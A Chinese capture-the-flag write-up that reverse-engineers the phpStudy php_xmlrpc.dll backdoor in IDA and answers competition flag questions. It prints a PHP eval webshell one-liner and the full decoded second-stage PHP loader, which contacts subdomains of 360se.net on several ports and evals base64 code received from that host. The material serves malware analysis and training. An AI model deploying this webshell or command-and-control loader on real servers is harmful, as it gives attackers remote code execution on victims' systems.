当前位置:网站首页>全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析
全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析
2022-07-05 05:28:00 【Ba1_Ma0】
简介
需要工具和环境的可以加群809706080,有什么不会的也可以在里面提问,我看到会第一时间回答
1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);
进入桌面后,解压文件,可以看到有以下文件
通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞
雨泽的文章链接:https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5501
phpstudy的后门漏洞大部分存在于:
phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
我们打开这个文件目录找到后门文件
然后将文件拖入ida pro 分析
我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串
这个是常用的php小马代码
<?php @eval($_POST['cmd']);?>
可以判断,这个字符串就是后门代码
接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串
双击这个地方,跳转到执行代码的地方
这就是代码执行的地方,我们可以按f5看一下这个段的伪代码
根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,
我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现
从最下面的恶意代码执行的伪代码跟着我的思路走
v10 = &byte_10011B34;
v11 = asc_1000C028;
v41 = &byte_10011B34;
v12 = 0;
v13 = asc_1000C028;
while ( 1 )
{
if ( *(_DWORD *)v13 == 39 )
{
v10[v12] = 92;
v41[v12 + 1] = *v11; //v41获取了v11变量的内存地址
v12 += 2;
v13 += 8;
}
else
{
v10[v12++] = *v11;
v13 += 4;
}
v11 += 4;
if ( (int)v11 >= (int)&unk_1000C66C ) //如果v11变量里的值大于1000C66C内存地址里的值
break;
v10 = v41; //v10变量=v41变量
}
spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41); //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里
我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值
将包含恶意代码基址偏移的范围作为Flag值提交
0x1000C028-0x1000C66C
2. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())
这个就简单多了,我们继续在ida里分析
可以发现,拼接字符串函数名称是
spprintf
3. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)
恶意代码如下
@eval(%s('%s'));
由此可知,用于格式化字符串的参数名称是
%s
4. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)
通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是
%s
5. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交
我们打开decode.py文件
关键的f1,f2,f3,f4代码:
data = zlib.F1(data)
flag = b'F2'
hwrite.write(F3)
hwrite.write(F4)
#Flag=F1.F2.F3.F4
F1是python的zlib模块里的函数
F1:
decompress
F2是程序aGzuncompress变量里的值
我们双击这个变量进入查看
F2:
gzuncompress
通过这段代码分析
flag = b'F2'
offset = data.find(flag)
data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"\x00\x00\x00",b"")
decodedata_1 = zlib.F1(data[:0x191])
print(hexdump(data[0x191:]))
decodedata_2 = zlib.F1(data[0x191:])
with open("compres_data1.txt","w") as hwrite:
hwrite.write(F3)
hwrite.close
with open("compres_data2.txt","w") as hwrite:
hwrite.write(F4)
hwrite.close
F3和F4分别为:
str(decodedata_1)和str(decodedata_2)
完整的flag为:
decompress.gzuncompress.str(decodedata_1).str(decodedata_2)
6. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;
我们填补完程序缺失的代码后执行
从生成的第二个文件里可以发现
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
端口号从小到大的顺序为:
53,80,8080,20123,40125
poc利用
可以看雨泽写的文章,也是全国中职网络安全B模块的题,叫做中间件渗透测试
https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5502
边栏推荐
- Time complexity and space complexity
- Haut OJ 1241: League activities of class XXX
- Add level control and logger level control of Solon logging plug-in
- Chapter 6 data flow modeling - after class exercises
- 2022上半年全国教师资格证下
- Heap sort summary
- lxml.etree.XMLSyntaxError: Opening and ending tag mismatch: meta line 6 and head, line 8, column 8
- 二十六、文件系统API(设备在应用间的共享;目录和文件API)
- room数据库的使用
- Solon 框架如何方便获取每个请求的响应时间?
猜你喜欢
TF-A中的工具介绍
Embedded database development programming (VI) -- C API
剑指 Offer 58 - II. 左旋转字符串
用STM32点个灯
远程升级怕截胡?详解FOTA安全升级
剑指 Offer 35.复杂链表的复制
Little known skills of Task Manager
Solution to the palindrome string (Luogu p5041 haoi2009)
[to be continued] [UE4 notes] L3 import resources and project migration
Pointnet++学习
随机推荐
Web APIs DOM节点
使用Room数据库报警告: Schema export directory is not provided to the annotation processor so we cannot expor
Heap sort summary
object serialization
Use of room database
[to be continued] I believe that everyone has the right to choose their own way of life - written in front of the art column
剑指 Offer 04. 二维数组中的查找
Haut OJ 2021 freshmen week II reflection summary
Solon 框架如何方便获取每个请求的响应时间?
Using HashMap to realize simple cache
剑指 Offer 35.复杂链表的复制
[轉]: OSGI規範 深入淺出
C语言杂谈1
软件测试 -- 0 序
YOLOv5添加注意力机制
[turn to] MySQL operation practice (III): table connection
To the distance we have been looking for -- film review of "flying house journey"
[sum of two numbers] 169 sum of two numbers II - enter an ordered array
Double pointer Foundation
注解与反射